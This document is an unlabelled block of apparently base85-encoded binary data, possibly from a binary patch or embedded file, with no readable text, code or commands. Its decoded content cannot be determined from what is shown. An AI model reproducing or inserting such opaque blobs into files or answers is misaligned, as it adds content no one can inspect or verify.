zH@!A)3A0wwL%sz11P4?SKMHXrvWpdEI-klFJ1&5(DKjS(-=i`jjw z|AqQJl1N-3-J{?7^pXQ@b^G9Rf|4JyPcmNI+E*$JC=YfL>Nx58Mdcf+S$`2YkE!rN zB=G_&w@Tar6q-9r>v1_vQaSTdAd(`0c2ue9{0rWme2!1#EI z+wLq|!k}FoP3RGKA&ev~4?3H?60%Fsx*aRofwLDEr3Pq;pn+j>A#i0bNHq-s95}c6 zU^&CX!NJ?scEP0rnHjf-pyGU zU^sk^65G$sukq*QgDMs=fPY@hpl^E+=#D6GViHQeBQj5ee5W zFW<`7-G}>rxP|$LyZuY>RT%JM>c*BOu$MuVmj&D2w)5^T(YE1bz2D{k|;&*I=V@!)6z7ADNnu1*f z8`z%c)fMX{aAg^cd!L7?7Syw?j&2d}Qz5GuA!ldofrjmSnfG%KbsLmh^K)P$fC%8D zd=usAX@pu?Ap5>dr(p%ZN&INm9HTH@QF@6hq_6(mOO9jdiuyPnrk9=Czzk1kwdwvY z9BKjE;A>W3a1ChN{q76hrMNr9Rv4 z+k&&`N4*C<6BYd~t|q41+7!2jmf>2MgZP9{zONWgI)Yn*BAKaS=#r?k_*b-AY0^NYOjrW4WKLKu7whi2~82 zN1!Pcs91@~v)MNNtIw%cp7u%=06)yCX$a@%7j-c4yO3TnkebMTL@ z0+PApe{R`&&KM|@peK#rS(AcMlu_1yElI$;I;8=SL>M5NR&Dbdd;^JFL3J@6s z_P3sQa=F8@;W{CmVxAOZ;sRMc?&b12U!0MSPpM;p;GIA4dC(7tI{ix0sH1+MC0_M? z8VuZA-m%Mh@m9 z32r9fbuHdn8LYtHmc~b7SG^)jZiP#wLaHl7EsGsd@@;=ZrIAgS-V7FI&(; zJMkBwk(tL(n{D60-dioQ?p>P<6nC6_IFHm8zSr6L5Yu0iukzDm#qKQoa07$ew59QU zBBv04AV@Dm7!&+5v_IJ>7kpKag#n!?d+o*qwiz)wJ2D#H!&DK*aA&<~?|o9hTs-L; zcmpx6>rU53PyNwUsA^gN1fk>_I1O4fBmCkVcQ0y7bK zGKi+a*653ONiUfBR1@B6?dFqiK7U}AP9D6EE_NIK0@h#xJ2ejmyb+%-4bpxj!LH!^ zhkTfCPiTS8pq6dc(}^u=ecbKDE4GqXhud1kdunF!2Vf&H7bR{a2dJ)=Occt?B0`Iu z2cl?aC1mFa#Hl&>11@oST%t$GG_mNjVCUI2xk&iyQ$c7+1tA_5tIf3UqlMn&UIJ)8^E-KH>!8TicjR z4Pt?2@~jMG7cGVB6-@-r!vQtr0UZ&WG}l^?D~xPG4N>6JYDKj@f8YrgN{3PWb#8q`1>+{i!W*a2u=lcl|DEO$*3^r06eFV zOMx9GS{%F!5WNOBlH!x;`yXD}dWY42196T&PN9(fECPQh>*!;ba3Iq%AtHE#X&=MQ z@g1UkB6jbh713Ilv@zDJ`F7}Dj~$H9U8A!&a$z+b>Ho)wE-*@%T1k6|eeoWejg{#i zP2`_z5H!s!Gpq7pr2V+manWH?I6&P2;-^dj^>hZA+-8T(; z%q){Tpy_FsGDRNzRfT_mWq$#3YeB#iqWTtf7S0PcI{c7@;AEACoq$L;$qctxVEx;V z*z&vAFL;~0*MI2UEAFuS)Eifci{O!Ut04F3C6^$hi0{TUeZlE*+0m9Of~#1r8y9@| zow8WIbYNSVdNVhv%CRdO{*A*-9bY<7SPAL&`(bhs7!w4|_xB9lt9o8`rlz)_Dw`@v zaSxW2DCiUqS9@6?Rwdb7qMje_vEM03|rqTY0}PlY9th~J_7-X0Ap^hCD5 zD5f=4<`h6?YkrCZ?aOL(c7lHzKjwDJDT*pR$zUdSk*2N63u7LU7Rh!F`Bt10onT&z z=sTXBeBTRQ1)EQV$bRxCu32^!Qx(oS;7h}e?c;z1S$m=73&P$+ToqaZs z!6}&5O7acCg|*Q2Z)JO}W+n+!F~D7c%&N4#8cPf9$*Yno zUM-KdXfmbx=VAmmWjxWTCD7AC;TQ9KTrrl7kV0=gJks)dFn=B^8h{hgOjiRm=RQC}UPsM)w)# zUMNWq(}m(v{e*ierdu?z^z%(9n&B4cjuWU5FQkeVurA_If%xkHy8TB!G!Hmdcd}vO zfW7_YnVofdVv~d6vKjJ0c%BV!AE3ffR8LI%hyANf@~db;1)qtJ0(y zKzvUEZCH#YT3fzdiIydgi7f*)AiKL-nh0EbfwP=GPky3=UAs7upc&fw*qA=Us9r0y zDQN?bSb;B!#L$cqDj;*04d^-!vEg(s<{aPxG7ph|D+pYY9B*yr0eTMDKGcv76MZ#c zFf&rH+Q5ZZI`5&qcN{6Bya?CWk@4>;)Q*3)&SJcFE*xnDvvni8`n+kr0yO<)m%%d& z!A5TCtDJdwZ>VXp6*d@LJ#dlk29xaozbbPqLM^{oTOAF&n5C1*30LT&i`W}}R718h zydSc`R_1fmgQhML-IqT_t7yRXfO(jb&wd9mJPh!$fpviCpY;dP6+ArjSvt(~5D=rMZ&#Y*73NQt0Ecbr zDkk;CKK~-49y+85r9S1`Aes$SS}Dy*{T$d?UE1v`msfDMnZ$EmgU$+|A5f!>PV@6KHJHV^#vLr}ea+nVkKfX<0bxtJ$q+~C4A;kd6BX%L4mU=wiCh; z-1oUd9?!L$dD3DP@Gh*7+M6Fh3unDX^}WnpCixVD*U7b71O3CSkwhAVa~G?)U&{zE z!y8Zsyzy7qpvuIR+3EsM@=)PkoCkg?o<(YEc^QsIa@1?taP*j4#{h%yTQLLi5=*$x z%~F2yN)h4|=t3#+E$^OC&gr_5H(0GpxC>Rgu0iJXf9HQyCHK+}Qi?lt-)#|$Y!;>d zoJ^M=pQIsNnl#|gZL+zd1*Y?ZB5Si9mtojcaVE;M9MpkOyF`g<#~{%yP;aiUY)g4` z75}b9morC(I5>D5NJ`Tfhpd+2(5j80?dF^nKtItO_FDP43>m2-6pj!Q*f!1zg34NA zC4N>(s6iLhlv7tam|WU^ZW{W;>Y6Z1*Ex5i%k!-FA5joK%%*yK%-M2 zJXcR!QG1iwiO{W4>D2-9o^@r_`GR_ngOM4Sv}oE+{b}&ctmI}Y&07(emC`{AoVN8i zD(O99%+TBf$0%@o`mR738smr%`c`Q@@!JKNEqU&WquedWuYcGwXMmjFaC7&<)q& z26D`oa;UDh@0{%*iDr~6e83czfs~|6gt_Xqq!DGP8stHZ;6IsnuAg@+&ZZNwErw{Q z8yu*AM!Zusd&Kr@eq%xAuhDrDT)o`k7r*KPEjA+Ln5*D15xCs^(2PlX+#&c+@y{)o zk9ou=r z?(&H*FWOn#XO>Uc)51>zzZ%(t*y>{AVa*2wN$B4R9VPjqoa|la?(&5P?&dLP|kUG`Mg^Joi<<(X`gr@+&@BW?hqEYULoJnJr>=e;5scv=te+&+<*Of~E?ibX?cE0HTJKLN>4!CkTZ>^~=}14BaQ zfRZzk!0ie{Q_|O!Oi0$=^_j6pjuP{MXY`1mQwX;YM^dbwzu2pFFk&+(mZDj7*X;&y zqJs#n`grH8ZGz3HXYVsr`SbGS$OeCJ$V-~rdv}6NT?XR3Q)~Qhh^%b7Yi!m>ALv4_ zDs3Yes)Z@qfq;IB%s(p=ca#nr=eGW#vLo?hu&fG6c9NS7%4FDYr;<9J2;Qc*9vOJb z3g&hw+ig7$_G)+*(|vwHyDIzeoNI3M3v{QLDH%@iOm7rQGRzk=fboU39Lakh#Nv*0wdS8eaL>;a6` zJtN?}jc(r!sf(+qhbRl(YL!*UU*d12H!9NN`T40CYR}EgpPX_!1bCA9C40^Y>3X{? zS-VXTKA)|IZ&ckYGh0i{z?FXR%=trzR=hf@N@X@3(-)n;Cm6GnW;@u8T^_ zxmG%+Q9)I(8&$41{kh#|Ik}}U{(F&BurA3IxgNFV4dI2cWZ4yAU1SWwWTie^x4&3xon|ze1Ikj|%%+_+5@Z=6W?p)$~Ou{_Ct-BWwKn2{J zHXgb(DEe|4uzzC}3ArzU8x3W;c8!Ds&hBEeM&9T=OJg4S3>sbqZV>apOct*4Il z1L$_`h5XrlJnHq@!{M~>GR|7ze<{{0&|UfQ*rRJa*TJ$JW9c0v6IZ{}v=v>QP^S4; zTKfw50(uB`aoZIn z4c!TRvmRBAOjhhG$L1wI-o>Q2i1|PQ`G7+f(A~{P~$n>OcF$HYXh>@KMa&cZFefw8k-d}N%s^hN`Qus}Q$_7|v^P=er!aS%kKU%V519cGp1wl4_|7|* zHZRrni7MKb4QYUDM%fhqH&+taqEUd@-fDKu?$8(DnZ&Qx2Nu7 zH4#Vr2&YtSMOuR}%%5p-{yo@A&oxozwvF#=-vc^V55{nPV7-glSdwB&`?opRJLcKP zoV`u^y8MlIO%81f@@D-Hwi`Z4A>>>>XjoWD!)|~;y>=6xiA-Vhe*yeY$CKL4pt^+L zniaQ5>?M9Prwp0LT#6~^1uD0qic)p_V^_8{y!z~6ZEoCH1xeJ$n3a=~(p~+7_aNbx zml4nWEh0Dx$>GViYpK5gKP8?{>JORAX3W*(0BXNvWn~5j_QoE%jvKHfn*cp|zfhju zu+55XL;;jcD-fxdNI#jIEWM`4~mM+aI6h39hzl2*g8EfCH5#WX%k@AF$8rH zSbFg5G|uTUe`i8&mbO`;mjV3sT03~QUTgDaty`BdYC{nX7B#EN1oo70tkR2IqAwiDEY-u>MD7{u>$|w4q^SwT2!$U?tzc)NgRC zG+`b2;v&pNU1U?`cundwW>WW|%WlAdui3^zchuoz{YRF zWH(kunkWsQjk_3fWdQ3^z z`$$TU%@La0C*wJ%(H6CKP022-DLr0oOiD*ofm6(#9_CED4WcE+#dX3$`Q?C? z10gj40PTboGnuq%q1J0ib@P)dLeO#U3AW2Yi-{im#E1v|jb@!$MIe_<{bV5~k+sT;*(p60ETma_1 zpMM7-VYVCzORjeZSQf+XeYi_pxK-k^-9)m|kfqQwLPP=u% zL-?2R1DqT+Rq4*ytfgR$MOS+);~NJo+^<rQq-AU~be=jne&WjaFv-ayANkHY9zpliqcXx}Y-D9F0s^O0QQ!7xs@6v=M5 zmt@Gl(!PsSwhm$7aOr<*3abWU01oH><3Cs?chFza1UJx1jycD`M|+*5p2j=Y<|}i9 z{)J-v|C6Oj+}~Sap97vX7zr>MYXY|YNc%R)w5ix$RU@`mQYC>ytMfs=Od0F>(S0T< z@XP%=Jf1O)Lt1^h^jYJK^Ha!k^CO9bTeKd?g2Xt2bHijCB(?Qa%LiJ0Y<}rCQQOs& z)RXeTS3$LaD-My%5E4`Vb3*C)n2gZGyj&1D24wO22E39OTyol{?00Ort@wN< zy#bu$0FwQNNMa7@450FBMs3FE-6#~`+hjD?p<+*_<)h3}Pjq6^URGRAWuCpqW`U;^ z7~c@Yopnu@-V*HQo8>0P;U4!bk~f|}gmx}lU~7R|NG2i)T^E~Z_qsaA!&@3Hd$R`J zB|6G`vaZ+;b5gbEJ{w5V!Z}qSTRxv0gM5jPx#=e>Hb>hhA^DX_VvuLzJWj(@ql??q z)XAvw=gPXo>M)o1ou!N;{LX#2qv5l9t#rvaK+{ru7uP-j)w?ahXEc$bTR6!GtO&JZ z*g6IFtUA+w%v?C!;-Ag?bjUXhgzEBYCt3vw$7hdg<7#u)N8dfsJ8WH9aC60fn7 z!Ne}z=tY6S2;-Z|(;Bxs4Ai-tV;l+m(NWO^T(h=D>}UT7Zsn2>sA9TWASO_@k7aEa zHG#z%NML3AdR>1w*?1UG+)xbB$u@nR55Al%z^pBEDYidfpDU1hPdh#%KL^95kC08l zWv!eVtD#vP6L_}Sbuc;C!m6F?sNP!w+=%{8F*#Idb>e8yMK&Z%QecI@2)WG~q^W&o)DhZoOhcq|!HaJ_p3(f^bx2 z{?I7NToNT)>ZPZp!7|}$H#c4FO{8!;IS9^@rA?aXa`?y1PB=RPf_EhcfCF&&3y=b; zm2>l|9-GUyOL`Tex(~{vU82@kl>DKOa2Cb=%7t z1WxH9A)EQ_SzA0HIkk21{m^#dL>rBarWc35Q0Vk8v8C)FT4eAe1r4#sUjx*|acR~{ zlIq32LIEMu++7_CIXd!GN0xkqxGtX4Q2ZXPTk{yyZ63&wN9B;$NB&&Rghog4V5=Un zo2qM)HBfd#Ikm!-=&+)kwnJg9TBk5s3$}h0n198wI1Mm#eabTr_h!XRWaT1au))cy z0M5pk#0$xm8Z(0{kk>(r7<}jGO~8#&!)Ntab`$*4>22sL_P1b>2i?5og5YSw^>qsn ziM^7dS3wdq2N?FMLAI6olv1u2xJ89ZP?pDHXnH}`h|^Nh`s_Ad-;1gbgR@JCj#e8GMy@tq@NA z_ZtMx?1)NFF`C3E=COxpL!&kBFsml80r*bK1h6BE%21lt2(&LD&J7OO?jM%^3iVk+ zOHDk1cZ5x>+92&ZWn7w`Y0_;?|A*iKyud>v4^z(m12v~}La`{D6BlGW3rC|TrD6R^ z*0VloNWC`nwOY}F=n2?1;wW_dxS|3SbrgF5IuOdUj%*D6B9c`1 z0p_cjktUA$T}3BlL;4c+YMm9UgKHH@o**)CIS`+8lE2qMwZ#cG-GHcrAc zmE2s3lB@9m0<-fyl+2sL{O({VSeMnVq;cW3cuPCOG1&;!c3PV^G|3z)*wvY(H}f9kb|8RZWelF4QkDc#V#PbyyRL@ zR&C@Hl^?B17>^&$K+aM}ffe?Qtm`-s~COE%u+8jSXHv@**h|*XTu{C4EX7R{= z@VtYf-Qh2w8lDM%1l&~3i4At!h*Q!MPv@R8e=DmVbVpHwMH61xtJ^#%4G+7?(rqX& zfPoj7&$$xoW?SYRXr9Rt+dm1)7hRaH$F(VN4dgMq;Je!9<=Y|wsH4(7%(BZ1LXm&? zuE*X4KAYh|^4-a9M}}6=n>J+q(K|7f`Xulk)0{-~=wDNjM6c&=;Efmi8se<^A03H` z(EQ3yPm=Rt>}Hrj8!Qi3#pD>jdiKbt(q0ORt$ts+^5V#4(@NuHC*vgW?KTD13!at9hZFzvd zD|aFG?)%3F!dL`WkGXb7%(`R;Cj^_`LKO0mX}A$F?+F8jm`3bt9Z$hW4$#UE;+Yhnc8rzo3L{FTf_A9pGfn};vU{7ubNj|c>NYIXuh!3jw6nslezFEnZ z2c9M^n{~nzky@nAOCR?tCBG3=9Q9NFl>bBD_&&66C9vvsDO)@!*?-}bjQ4HHA9xx2 H_r?DKP7$Vb